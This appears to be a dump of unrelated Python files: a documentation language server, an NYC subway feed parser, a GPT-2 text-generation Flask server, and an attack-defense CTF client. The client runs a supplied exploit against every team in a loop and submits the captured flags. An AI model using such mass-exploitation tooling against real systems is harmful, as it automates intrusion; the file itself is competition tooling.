self._endpoint.notify( "textDocument/publishDiagnostics", params={"uri": uri, "diagnostics": workspace_item.create_lsp_diagnostics()}, ) def uri_to_fileid(self, uri: Uri) -> FileId: if not self.project: raise TypeError("Cannot map uri to fileid before a project is open") parsed = urlparse(uri) if parsed.scheme != "file": raise ValueError("Only file:// URIs may be resolved", uri) path = self.uriToPath(uri) return self.project.config.get_fileid(path) def fileid_to_uri(self, fileid: FileId) -> str: if not self.project: raise TypeError("Cannot map fileid to uri before a project is open") return self.project.config.source_path.joinpath(fileid).as_uri() def m_initialize( self, processId: Optional[int] = None, rootUri: Optional[Uri] = None, **kwargs: object, ) -> SerializableType: if rootUri: root_path = self.uriToPath(rootUri) self.project = Project(root_path, self.backend, {}) self.notify_diagnostics() # XXX: Disabling the postprocessor is temporary until we can test # its usage in the language server more extensively self.project.build(postprocess=False) if processId is not None: def watch_parent_process(pid: int) -> None: # exist when the given pid is not alive if not pid_exists(pid): logger.info("parent process %s is not alive", pid) self.m_exit() logger.debug("parent process %s is still alive", pid) threading.Timer( PARENT_PROCESS_WATCH_INTERVAL_SECONDS, watch_parent_process, args=[pid], ).start() watching_thread = threading.Thread( target=watch_parent_process, args=(processId,) ) watching_thread.daemon = True watching_thread.start() return { "capabilities": { "textDocumentSync": 1, "completionProvider": { "resolveProvider": False, # We know everything ahead of time "TriggerCharacters": ['/'] } } } def completions(self, doc_uri: Uri, position: Position) -> Union[CompletionList, None]: """ Given the filename, return the completion items of the page. """ if self.project is None: logger.warn("Project uninitialized") return None filePath = self.uriToPath(doc_uri) line_content = self.project.get_line_content(filePath, position.line) column: int = position.character if column > 1 and line_content[column - 2:column] == '`/': completions = [] for name in self.project.queryFileNames(): completions.append(CompletionItem(name["file"], CompletionItemKind.File, name["path"], "", name["file"])) return CompletionList(False, completions) return None @staticmethod def uriToPath(uri: Uri) -> Path: parsed = urlparse(uri) host = "{0}{0}{mnt}{0}".format(os.path.sep, mnt=parsed.netloc) return Path(os.path.abspath( os.path.join(host, url2pathname(unquote(parsed.path))) )) def m_initialized(self, **kwargs: object) -> None: # Ignore this message to avoid logging a pointless warning pass def m_text_document__completion(self, textDocument: TextDocumentItem, position: Position, **_kwargs: object) -> Union[CompletionList, None]: return self.completions(textDocument.uri, position) def m_text_document__resolve( self, fileName: str, docPath: str, resolveType: str ) -> str: """Given an artifact's path relative to the project's source directory, return a corresponding source file path relative to the project's root.""" if self.project is None: logger.warn("Project uninitialized") return fileName if resolveType == "doc": resolved_target_path = util.add_doc_target_ext( fileName, PurePath(docPath), self.project.config.source_path ) return str(resolved_target_path) elif resolveType == "directive": return str(self.project.config.source_path) + fileName else: logger.error("resolveType is not supported") return fileName def m_text_document__get_page_ast(self, fileName: str) -> SerializableType: """ Given the filename, return the ast of the page that is created from parsing that file. If the file is a .rst file, we return an ast that emulates the ast of a .txt file containing a single include directive to said .rst file. """ if self.project is None: logger.warn("Project uninitialized") return None filePath = Path(fileName) page_ast = self.project.get_page_ast(filePath) # If rst file, insert its ast into a pseudo ast object if filePath.suffix == ".rst": # Copy ast of previewed file into a modified version if isinstance(page_ast, n.Parent): children = page_ast.children else: children = [] rst_ast = n.Directive( page_ast.start, children, "", "include", [n.Text((0,), self.project.config.get_fileid(filePath).as_posix())], {}, ) # Insert modified ast as a child of a pseudo empty page ast pseudo_ast = n.Root((0,), [], self.project.config.get_fileid(filePath), {}) pseudo_ast.children.append(rst_ast) return pseudo_ast.serialize() return page_ast.serialize() def m_text_document__get_project_name(self) -> SerializableType: """Get the project's name from its ProjectConfig""" # This method may later be refactored to obtain other ProjectConfig data # (https://github.com/mongodb/snooty-parser/pull/44#discussion_r336749209) if not self.project: logger.warn("Project uninitialized") return None return self.project.get_project_name() def m_text_document__get_page_fileid(self, filePath: str) -> SerializableType: """Given a path to a file, return its fileid as a string""" if not self.project: logger.warn("Project uninitialized") return None fileid = self.project.config.get_fileid(PurePath(filePath)) return fileid.without_known_suffix def m_text_document__did_open(self, textDocument: SerializableType) -> None: if not self.project: return item = check_type(TextDocumentItem, textDocument) fileid = self.uri_to_fileid(item.uri) page_path = self.project.get_full_path(fileid) entry = WorkspaceEntry(fileid, item.uri, []) self.workspace[item.uri] = entry self.update_file(page_path, item.text) @debounce(0.2) def m_text_document__did_change( self, textDocument: SerializableType, contentChanges: SerializableType ) -> None: if not self.project: return identifier = check_type(VersionedTextDocumentIdentifier, textDocument) page_path = self.project.get_full_path(self.uri_to_fileid(identifier.uri)) assert isinstance(contentChanges, list) change = next( check_type(TextDocumentContentChangeEvent, x) for x in contentChanges ) self.update_file(page_path, change.text) def m_text_document__did_close(self, textDocument: SerializableType) -> None: if not self.project: return identifier = check_type(TextDocumentIdentifier, textDocument) page_path = self.project.get_full_path(self.uri_to_fileid(identifier.uri)) del self.workspace[identifier.uri] self.update_file(page_path) def m_shutdown(self, **_kwargs: object) -> None: self._shutdown = True def m_exit(self, **_kwargs: object) -> None: self._endpoint.shutdown() if self.project: self.project.stop_monitoring() def __enter__(self) -> "LanguageServer": return self def __exit__(self, *args: object) -> None: self.m_shutdown() self.m_exit() def start() -> None: stdin, stdout = sys.stdin.buffer, sys.stdout.buffer server = LanguageServer(stdin, stdout) logger.info("Started") server.start()
train_schedule.py
import subway_pb2 import gtfs_realtime_pb2 import os from datetime import datetime, timedelta import sqlite3 import multiprocessing as mp from multiprocessing import Process from pprint import pprint as pp import queue from google.protobuf.message import DecodeError import re def parse_proto(file): with open(file,'rb') as f: try: print("parsing", f) feed_message = gtfs_realtime_pb2.FeedMessage() feed_message.ParseFromString(f.read()) return feed_message except DecodeError as e: return None except UnicodeDecodeError: return None #take a protobuf, returns a tuple of #(routeid, direction, tripid, stationid, arrivaltime, departuretime) #for each of the stops in the message #these are the only things we care about right now def proto_to_tuple_list(protobuf): tuple_list= [] for entity in protobuf.entity: if entity.HasField("trip_update"): trip_update = entity.trip_update for stu in trip_update.stop_time_update: if stu.HasField("arrival") and stu.HasField("departure"): strip_id = strip_stop_pattern_from_tripid(trip_update.trip.trip_id) tup = (trip_update.trip.route_id, trip_update.trip.Extensions[subway_pb2.nyct_trip_descriptor].direction, strip_id, stu.stop_id, stu.arrival.time, stu.departure.time) tuple_list.append(tup) return tuple_list #nyct gtfs realtime trip ids have the following general format (via regex) #(?P<origin_time>\d+)_(?P<route_id>\w)\.\.(?P<direction>\w)(?P<path_identifier>\w+) # origin time, route id and direction are enough to uniquely idenfiy a trip # the path identifier is extraneous, and may dissapear during a trip # to prevent this from making a single trip appear as many in our db, we will strip it out def strip_stop_pattern_from_tripid(trip_id): try: regex = r"(\d+_\w?\.\.\w)\w*" m = re.match(regex, trip_id) return m.group(1) except: print(trip_id) def parse_protoQ(protoQ): dbconn = get_db_conn() while True: try: protobuf = protoQ.get(block=False) p = parse_proto(protobuf) if p is not None: list_of_stop_tuples = proto_to_tuple_list(p) save_to_db(list_of_stop_tuples, dbconn) protoQ.task_done() except queue.Empty: #if we ever fail to get here it means the whole queue is empty #because all of the items are pre-populated return def save_to_db(list_of_stop_tuples, dbconn): stations = set([tup[3] for tup in list_of_stop_tuples]) trips = set([tup[2] for tup in list_of_stop_tuples]) insert_new_trips(trips, dbconn) insert_new_stations(stations, dbconn) insert_new_stops(list_of_stop_tuples, dbconn) dbconn.commit() def insert_new_stops(stops, dbconn): statement = '''INSERT OR IGNORE INTO stops (routeid, direction, tripid, stationid, arrivaltime, departuretime) VALUES (?, ?, ?, ?, ?, ?);''' dbconn.executemany(statement, stops) def insert_new_trips(new_trips, dbconn): insert_trips = [(val,) for val in new_trips] dbconn.executemany("INSERT OR IGNORE INTO trips (tripid) VALUES (?)", insert_trips) def insert_new_stations(new_stations, dbconn): insert_stations = [(val,) for val in new_stations] dbconn.executemany("INSERT OR IGNORE INTO stations (stationid) VALUES (?)", insert_stations) def parse_and_save(dbconn, file_list): #read all the files into the queue protoQ = mp.JoinableQueue() for p in plist: protoQ.put(p) procs = [] for i in range(10): proc = Process(target = parse_protoQ, args=(protoQ,)) procs.append(proc) proc.start() protoQ.join() for proc in procs: proc.join() def get_db_conn(): return sqlite3.connect('stops.db') #nop if exists def create_database(): c = get_db_conn() cursor = c.execute("SELECT name FROM sqlite_master WHERE type='table' AND name='stops';") f = cursor.fetchone() if f is None: c.execute('''CREATE TABLE trips (id INTEGER PRIMARY KEY, tripid TEXT UNIQUE)''') c.execute('''CREATE TABLE stations (id INTEGER PRIMARY KEY , stationid TEXT UNIQUE)''') c.execute('''CREATE TABLE stops (routeid f, direction TEXT, tripid INTEGER, stationid INTEGER, arrivalTime INTEGER, departureTime INTEGER, FOREIGN KEY(tripid) REFERENCES trips(id), FOREIGN KEY(stationid) REFERENCES stations(id), PRIMARY KEY(routeid, direction, stationid, tripid))''') c.commit() def read_proto_list(dir): list = sorted(os.listdir(dir)) file_list = [os.path.join(dir,f) for f in list] return file_list if __name__ == "__main__": #calculate data over time conn = create_database() dir = "E:\\subway data\\sep\\" plist = read_proto_list(dir) parse_and_save(conn, plist)
server.py
import numpy as np import os import io # import for server from flask import Flask, render_template, request, Response, send_file, jsonify from queue import Queue, Empty import threading import time # import for model from transformers import AutoTokenizer, AutoModelWithLMHead, top_k_top_p_filtering from torch.nn import functional as F import torch import time # flask server app = Flask(__name__) # limit input file size under 2MB # model loading tokenizer = AutoTokenizer.from_pretrained("huggingtweets/realdonaldtrump") model = AutoModelWithLMHead.from_pretrained("huggingtweets/realdonaldtrump", return_dict=True) # change cpu to gpu so that model can use gpu (because default type is cpu) device = torch.device('cuda' if torch.cuda.is_available() else 'cpu') model.to(device) # request queue setting requests_queue = Queue() BATCH_SIZE = 1 CHECK_INTERVAL = 0.1 # static variable # request handling def handle_requests_by_batch(): try: while True: requests_batch = [] while not (len(requests_batch) >= BATCH_SIZE): try: requests_batch.append(requests_queue.get(timeout=CHECK_INTERVAL)) except Empty: continue batch_outputs = [] for request in requests_batch: if len(request["input"]) == 2: batch_outputs.append(run_short(request["input"][0], request["input"][1])) elif len(request["input"]) == 3: batch_outputs.append(run_long(request["input"][0], request["input"][1], request["input"][2])) for request, output in zip(requests_batch, batch_outputs): request["output"] = output except Exception as e: while not requests_queue.empty(): requests_queue.get() print(e) # request processing threading.Thread(target=handle_requests_by_batch).start() # run short model def run_short(prompt, num): try: prompt = prompt.strip() input_ids = tokenizer.encode(prompt, return_tensors='pt') # input_ids also need to apply gpu device! input_ids = input_ids.to(device) # get logits of last hidden state next_token_logits = model(input_ids).logits[:, -1, :] # filter filtered_next_token_logits = top_k_top_p_filtering(next_token_logits, top_k=50, top_p=1.0) # sample probs = F.softmax(filtered_next_token_logits, dim=-1) next_token = torch.multinomial(probs, num_samples=num) result = {} for idx, token in enumerate(next_token.tolist()[0]): result[idx] = tokenizer.decode(token) return result except Exception as e: print(e) return 500 # run long model def run_long(prompt, num, length): try: prompt = prompt.strip() input_ids = tokenizer.encode(prompt, return_tensors='pt') # input_ids also need to apply gpu device! input_ids = input_ids.to(device) min_length = len(input_ids.tolist()[0]) length += min_length sample_outputs = model.generate(input_ids, pad_token_id=50256, do_sample=True, max_length=length, min_length=length, top_k=40, num_return_sequences=num) generated_texts = {} for i, sample_output in enumerate(sample_outputs): output = tokenizer.decode(sample_output.tolist()[min_length:], skip_special_tokens=True) generated_texts[i] = output return generated_texts except Exception as e: print(e) return 500 # routing @app.route("/gpt2-trump/<types>", methods=['POST']) def generation(types): try: if types != 'short' and types != 'long': return jsonify({'message' : 'Error! Can not route short or long'}), 400 # only get one request at a time if requests_queue.qsize() > BATCH_SIZE: return jsonify({'message' : 'TooManyReqeusts'}), 429 # check image format try: args = [] prompt = str(request.form['text']) num = int(str(request.form['num_samples'])) args.append(prompt) args.append(num) if types == 'long': length = int(str(request.form['length'])) args.append(length) except Exception: return jsonify({'message' : 'Error! Can not read args from request'}), 500 # put data to request_queue req = {'input' : args} requests_queue.put(req) # wait output while 'output' not in req: time.sleep(CHECK_INTERVAL) # send output generated_text = req['output'] if generated_text == 500: return jsonify({'message': 'Error! An unknown error occurred on the server'}), 500 result = jsonify(generated_text) return result except Exception as e: print(e) return jsonify({'message': 'Error! Unable to process request'}), 400 @app.route('/healthz') def health(): return "ok", 200 @app.route('/') def main(): return "ok", 200 if __name__ == "__main__": from waitress import serve serve(app, host='0.0.0.0', port=80)
start_sploit.py
#!/usr/bin/env python3 import argparse import binascii import itertools import logging import os import random import re import stat import subprocess import sys import threading import time from concurrent.futures import ThreadPoolExecutor from enum import Enum from math import ceil from urllib.parse import urljoin import requests if sys.version_info < (3, 4): logging.critical('Support of Python < 3.4 is not implemented yet') sys.exit(1) os_windows = (os.name == 'nt') HEADER = ''' โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•”โ•โ•โ•โ•โ•โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ•‘โ•šโ•โ•โ–ˆโ–ˆโ•”โ•โ•โ• โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ•‘โ•šโ•โ•โ–ˆโ–ˆโ•”โ•โ•โ• โ–ˆโ–ˆโ•”โ•โ•โ•โ•โ•โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ•‘ โ•šโ•โ•โ•โ•โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ•‘ โ•šโ•โ•โ•โ•โ–ˆโ–ˆโ•‘โ•šโ•โ•โ•โ•โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ•‘ โ•šโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•โ•šโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ• โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ• โ•šโ•โ•โ•โ•โ•โ• โ•šโ•โ• โ•šโ•โ• โ•šโ•โ•โ•โ•โ•โ• โ•šโ•โ•โ•โ•โ•โ• โ•šโ•โ• โ•šโ•โ•โ•โ•โ•โ•โ• โ•šโ•โ•โ•šโ•โ•โ•โ•โ•โ• '''[1:] class Style(Enum): """ Bash escape sequences, see: https://misc.flogisoft.com/bash/tip_colors_and_formatting """ BOLD = 1 FG_BLACK = 30 FG_RED = 31 FG_GREEN = 32 FG_YELLOW = 33 FG_BLUE = 34 FG_MAGENTA = 35 FG_CYAN = 36 FG_LIGHT_GRAY = 37 BRIGHT_COLORS = [Style.FG_RED, Style.FG_GREEN, Style.FG_BLUE, Style.FG_MAGENTA, Style.FG_CYAN] VERBOSE_LINES = 5 def highlight(text, style=None): if os_windows: return text if style is None: style = [Style.BOLD, random.choice(BRIGHT_COLORS)] return '\033[{}m'.format(';'.join(str(item.value) for item in style)) + text + '\033[0m' log_format = '%(asctime)s {} %(message)s'.format(highlight('%(levelname)s', [Style.FG_YELLOW])) logging.basicConfig(format=log_format, datefmt='%H:%M:%S', level=logging.DEBUG) def parse_args(): parser = argparse.ArgumentParser(description='Run a sploit on all teams in a loop', formatter_class=argparse.ArgumentDefaultsHelpFormatter) parser.add_argument('sploit', help="Sploit executable (should take a victim's host as the first argument)") parser.add_argument('--server-url', metavar='URL', default='http://localhost:5000', help='Server URL') parser.add_argument('--server-pass', metavar='PASS', default='5gPtUdwrHfHYg7az', help='Server password') parser.add_argument('--interpreter', metavar='COMMAND', help='Explicitly specify sploit interpreter (use on Windows, which doesn\'t ' 'understand shebangs)') parser.add_argument('--pool-size', metavar='N', type=int, default=50, help='Maximal number of concurrent sploit instances. ' 'Too little value will make time limits for sploits smaller, ' 'too big will eat all RAM on your computer') parser.add_argument('--attack-period', metavar='N', type=float, default=55, help='Rerun the sploit on all teams each N seconds ' 'Too little value will make time limits for sploits smaller, ' 'too big will miss flags from some rounds') parser.add_argument('-v', '--verbose-attacks', metavar='N', type=int, default=1, help="Sploits' outputs and found flags will be shown for the N first attacks") parser.add_argument('-e', '--endless', default=False, action='store_true', help="Run sploits without timeouts") group = parser.add_mutually_exclusive_group() group.add_argument('--not-per-team', action='store_true', help='Run a single instance of the sploit instead of an instance per team') group.add_argument('--distribute', metavar='K/N', help='Divide the team list to N parts (by address hash modulo N) ' 'and run the sploits only on Kth part of it (K >= 1)') return parser.parse_args() def fix_args(args): check_sploit(args) if '://' not in args.server_url: args.server_url = 'http://' + args.server_url if args.distribute is not None: valid = False match = re.fullmatch(r'(\d+)/(\d+)', str(args.distribute)) if match is not None: k, n = (int(match.group(1)), int(match.group(2))) if n >= 2 and 1 <= k <= n: args.distribute = k, n valid = True if not valid: raise ValueError('Wrong syntax for --distribute, use --distribute K/N (N >= 2, 1 <= K <= N)') SCRIPT_EXTENSIONS = { '.pl': 'perl', '.py': 'python', '.rb': 'ruby', } def check_script_source(source): errors = [] if not os_windows and source[:2] != '#!': errors.append( 'Please use shebang (e.g. {}) as the first line of your script'.format( highlight('#!/usr/bin/env python3', [Style.FG_GREEN]))) if re.search(r'flush[(=]', source) is None: errors.append( 'Please print the newline and call {} each time after your sploit outputs flags. ' 'In Python 3, you can use {}. ' 'Otherwise, the flags may be lost (if the sploit process is killed) or ' 'sent with a delay.'.format( highlight('flush()', [Style.FG_RED]), highlight('print(..., flush=True)', [Style.FG_GREEN]))) return errors class InvalidSploitError(Exception): pass def check_sploit(args): path = args.sploit if not os.path.isfile(path): raise ValueError('No such file: {}'.format(path)) extension = os.path.splitext(path)[1].lower() is_script = extension in SCRIPT_EXTENSIONS if is_script: with open(path, 'r', errors='ignore') as f: source = f.read() errors = check_script_source(source) if errors: for message in errors: logging.error(message) raise InvalidSploitError('Sploit won\'t be run because of validation errors') if os_windows and args.interpreter is None: args.interpreter = SCRIPT_EXTENSIONS[extension] logging.info('Using interpreter `{}`'.format(args.interpreter)) if not os_windows: file_mode = os.stat(path).st_mode # TODO: May be check the owner and other X flags properly? if not file_mode & stat.S_IXUSR: if is_script: logging.info('Setting the executable bit on `{}`'.format(path)) os.chmod(path, file_mode | stat.S_IXUSR) else: raise InvalidSploitError("The provided file doesn't appear to be executable") if os_windows: # By default, Ctrl+C does not work on Windows if we spawn subprocesses. # Here we fix that using WinApi. See https://stackoverflow.com/a/43095532 import signal import ctypes from ctypes import wintypes kernel32 = ctypes.WinDLL("kernel32", use_last_error=True) # BOOL WINAPI HandlerRoutine( # _In_ DWORD dwCtrlType # ); PHANDLER_ROUTINE = ctypes.WINFUNCTYPE(wintypes.BOOL, wintypes.DWORD) win_ignore_ctrl_c = PHANDLER_ROUTINE() # = NULL def _errcheck_bool(result, _, args): if not result: raise ctypes.WinError(ctypes.get_last_error()) return args # BOOL WINAPI SetConsoleCtrlHandler( # _In_opt_ PHANDLER_ROUTINE HandlerRoutine, # _In_ BOOL Add # ); kernel32.SetConsoleCtrlHandler.errcheck = _errcheck_bool kernel32.SetConsoleCtrlHandler.argtypes = (PHANDLER_ROUTINE, wintypes.BOOL) @PHANDLER_ROUTINE def win_ctrl_handler(dwCtrlType): if dwCtrlType == signal.CTRL_C_EVENT: kernel32.SetConsoleCtrlHandler(win_ignore_ctrl_c, True) shutdown() return False kernel32.SetConsoleCtrlHandler(win_ctrl_handler, True) class APIException(Exception): pass SERVER_TIMEOUT = 5 def get_auth_headers(args): return {'Authorization': args.server_pass} def get_config(args): url = urljoin(args.server_url, '/api/get_config') headers = get_auth_headers(args) r = requests.get(url, headers=headers, timeout=SERVER_TIMEOUT) if not r.ok: raise APIException(r.text) return r.json() def post_flags(args, flags): sploit_name = os.path.basename(args.sploit) data = [ { 'flag': item['flag'], 'sploit': sploit_name, 'team': item['team'] } for item in flags ] url = urljoin(args.server_url, '/api/post_flags') headers = get_auth_headers(args) r = requests.post(url, headers=headers, json=data, timeout=SERVER_TIMEOUT) if not r.ok: raise APIException(r.text) exit_event = threading.Event() def once_in_a_period(period): for iter_no in itertools.count(1): start_time = time.time() yield iter_no time_spent = time.time() - start_time if period > time_spent: exit_event.wait(period - time_spent) if exit_event.is_set(): break class FlagStorage: """ Thread-safe storage comprised of a set and a post queue. Any number of threads may call add(), but only one "consumer thread" may call pick_flags() and mark_as_sent(). """ def __init__(self): self._flags_seen = set() self._queue = [] self._lock = threading.RLock() def add(self, flags, team_name): with self._lock: for item in flags: if item not in self._flags_seen: self._flags_seen.add(item) self._queue.append({'flag': item, 'team': team_name}) def pick_flags(self, count): with self._lock: return self._queue[:count] def mark_as_sent(self, count): with self._lock: self._queue = self._queue[count:] @property def queue_size(self): with self._lock: return len(self._queue) flag_storage = FlagStorage() POST_PERIOD = 5 POST_FLAG_LIMIT = 10000 # TODO: test that 10k flags won't lead to the hangup of the farm server def run_post_loop(args): try: for _ in once_in_a_period(POST_PERIOD): flags_to_post = flag_storage.pick_flags(POST_FLAG_LIMIT) if flags_to_post: try: post_flags(args, flags_to_post) flag_storage.mark_as_sent(len(flags_to_post)) logging.info('{} flags posted to the server ({} in the queue)'.format( len(flags_to_post), flag_storage.queue_size)) except Exception as e: logging.error("Can't post flags to the server: {}".format(repr(e))) logging.info("The flags will be posted next time") except Exception as e: logging.critical('Posting loop died: {}'.format(repr(e))) shutdown() display_output_lock = threading.RLock() def display_sploit_output(team_name, output_lines): if not output_lines: logging.info('{}: No output from the sploit'.format(team_name)) return prefix = highlight(team_name + ': ') with display_output_lock: print('\n' + '\n'.join(prefix + line.rstrip() for line in output_lines) + '\n') def process_sploit_output(stream, args, team_name, flag_format, attack_no): try: output_lines = [] instance_flags = set() line_cnt = 1 while True: line = stream.readline() if not line: break line = line.decode(errors='replace') output_lines.append(line) line_flags = set(flag_format.findall(line)) if line_flags: flag_storage.add(line_flags, team_name) instance_flags |= line_flags if args.endless and line_cnt <= args.verbose_attacks * VERBOSE_LINES: line_cnt += 1 display_sploit_output(team_name, output_lines) output_lines = [] if instance_flags: logging.info('Got {} flags from "{}": {}'.format( len(instance_flags), team_name, instance_flags)) instance_flags = set() if attack_no <= args.verbose_attacks and not exit_event.is_set(): # We don't want to spam the terminal on KeyboardInterrupt display_sploit_output(team_name, output_lines) if instance_flags: logging.info('Got {} flags from "{}": {}'.format( len(instance_flags), team_name, instance_flags)) except Exception as e: logging.error('Failed to process sploit output: {}'.format(repr(e))) class InstanceStorage: """ Storage comprised of a dictionary of all running sploit instances and some statistics. Always acquire instance_lock before using this class. Do not release the lock between actual spawning/killing a process and calling register_start()/register_stop(). """ def __init__(self): self._counter = 0 self.instances = {} self.n_completed = 0 self.n_killed = 0 def register_start(self, process): instance_id = self._counter self.instances[instance_id] = process self._counter += 1 return instance_id def register_stop(self, instance_id, was_killed): del self.instances[instance_id] self.n_completed += 1 self.n_killed += was_killed instance_storage = InstanceStorage() instance_lock = threading.RLock() def launch_sploit(args, team_name, team_addr, attack_no, flag_format): # For sploits written in Python, this env variable forces the interpreter to flush # stdout and stderr after each newline. Note that this is not default behavior # if the sploit's output is redirected to a pipe. env = os.environ.copy() env['PYTHONUNBUFFERED'] = '1' command = [os.path.abspath(args.sploit)] if args.interpreter is not None: command = [args.interpreter] + command if team_addr is not None: command.append(team_addr) need_close_fds = (not os_windows) if os_windows: # On Windows, we block Ctrl+C handling, spawn the process, and # then recover the handler. This is the only way to make Ctrl+C # intercepted by us instead of our child processes. kernel32.SetConsoleCtrlHandler(win_ignore_ctrl_c, True) proc = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, bufsize=1, close_fds=need_close_fds, env=env) if os_windows: kernel32.SetConsoleCtrlHandler(win_ignore_ctrl_c, False) threading.Thread(target=lambda: process_sploit_output( proc.stdout, args, team_name, flag_format, attack_no)).start() return proc, instance_storage.register_start(proc) def run_sploit(args, team_name, team_addr, attack_no, max_runtime, flag_format): try: with instance_lock: if exit_event.is_set(): return proc, instance_id = launch_sploit(args, team_name, team_addr, attack_no, flag_format) except Exception as e: if isinstance(e, FileNotFoundError): logging.error('Sploit file or the interpreter for it not found: {}'.format(repr(e))) logging.error('Check presence of the sploit file and the shebang (use {} for compatibility)'.format( highlight('#!/usr/bin/env ...', [Style.FG_GREEN]))) else: logging.error('Failed to run sploit: {}'.format(repr(e))) if attack_no == 1: shutdown() return try: try: proc.wait(timeout=max_runtime) need_kill = False except subprocess.TimeoutExpired: need_kill = True if attack_no <= args.verbose_attacks: logging.warning('Sploit for "{}" ({}) ran out of time'.format(team_name, team_addr)) with instance_lock: if need_kill: proc.kill() instance_storage.register_stop(instance_id, need_kill) except Exception as e: logging.error('Failed to finish sploit: {}'.format(repr(e))) def show_time_limit_info(args, config, max_runtime, attack_no): if attack_no == 1: min_attack_period = config['FLAG_LIFETIME'] - config['SUBMIT_PERIOD'] - POST_PERIOD if args.attack_period >= min_attack_period: logging.warning("--attack-period should be < {:.1f} sec, " "otherwise the sploit will not have time " "to catch flags for each round before their expiration".format(min_attack_period)) if max_runtime is not None: logging.info('Time limit for a sploit instance: {:.1f} sec'.format(max_runtime)) else: logging.info('Time limit for a sploit instance: endless') with instance_lock: if instance_storage.n_completed > 0: # TODO: Maybe better for 10 last attacks logging.info('Total {:.1f}% of instances ran out of time'.format( float(instance_storage.n_killed) / instance_storage.n_completed * 100)) PRINTED_TEAM_NAMES = 5 def get_target_teams(args, teams, attack_no): if args.not_per_team: teams = {'*': '*'} if args.distribute is not None: k, n = args.distribute teams = {name: addr for name, addr in teams.items() if binascii.crc32(addr.encode()) % n == k - 1} if teams: if attack_no <= args.verbose_attacks: names = sorted(teams.keys()) if len(names) > PRINTED_TEAM_NAMES: names = names[:PRINTED_TEAM_NAMES] + ['...'] logging.info('Sploit will be run on {} teams: {}'.format(len(teams), ', '.join(names))) else: logging.error('There is no teams to attack for this farm client, fix "TEAMS" value ' 'in your server config or the usage of --distribute') return teams def main(args): try: fix_args(args) except (ValueError, InvalidSploitError) as e: logging.critical(str(e)) return print(highlight(HEADER)) logging.info('Connecting to the farm server at {}'.format(args.server_url)) threading.Thread(target=lambda: run_post_loop(args)).start() config = flag_format = None pool = ThreadPoolExecutor(max_workers=args.pool_size) if args.endless: print() for warn in range(5): logging.warning("Be careful! We won't restart your sploit if it fails") print() for attack_no in once_in_a_period(args.attack_period): try: config = get_config(args) logging.info(config) flag_format = re.compile(config['FLAG_FORMAT']) except Exception as e: logging.error("Can't get config from the server: {}".format(repr(e))) if attack_no == 1: return logging.info('Using the old config') teams = get_target_teams(args, config['TEAMS'], attack_no) if not teams: if attack_no == 1: return continue max_runtime = None if not args.endless: max_runtime = args.attack_period / ceil(len(teams) / args.pool_size) if not args.endless or attack_no == 1: print() logging.info('Launching an attack #{}'.format(attack_no)) show_time_limit_info(args, config, max_runtime, attack_no) for team_name, team_addr in teams.items(): pool.submit(run_sploit, args, team_name, team_addr, attack_no, max_runtime, flag_format) def shutdown(): # Stop run_post_loop thread exit_event.set() # Kill all child processes (so consume_sploit_output and run_sploit also will stop) with instance_lock: for proc in instance_storage.instances.values(): proc.kill() if __name__ == '__main__': try: main(parse_args()) except KeyboardInterrupt: logging.info('Got Ctrl+C, shutting down') finally: shutdown()
tttt.py
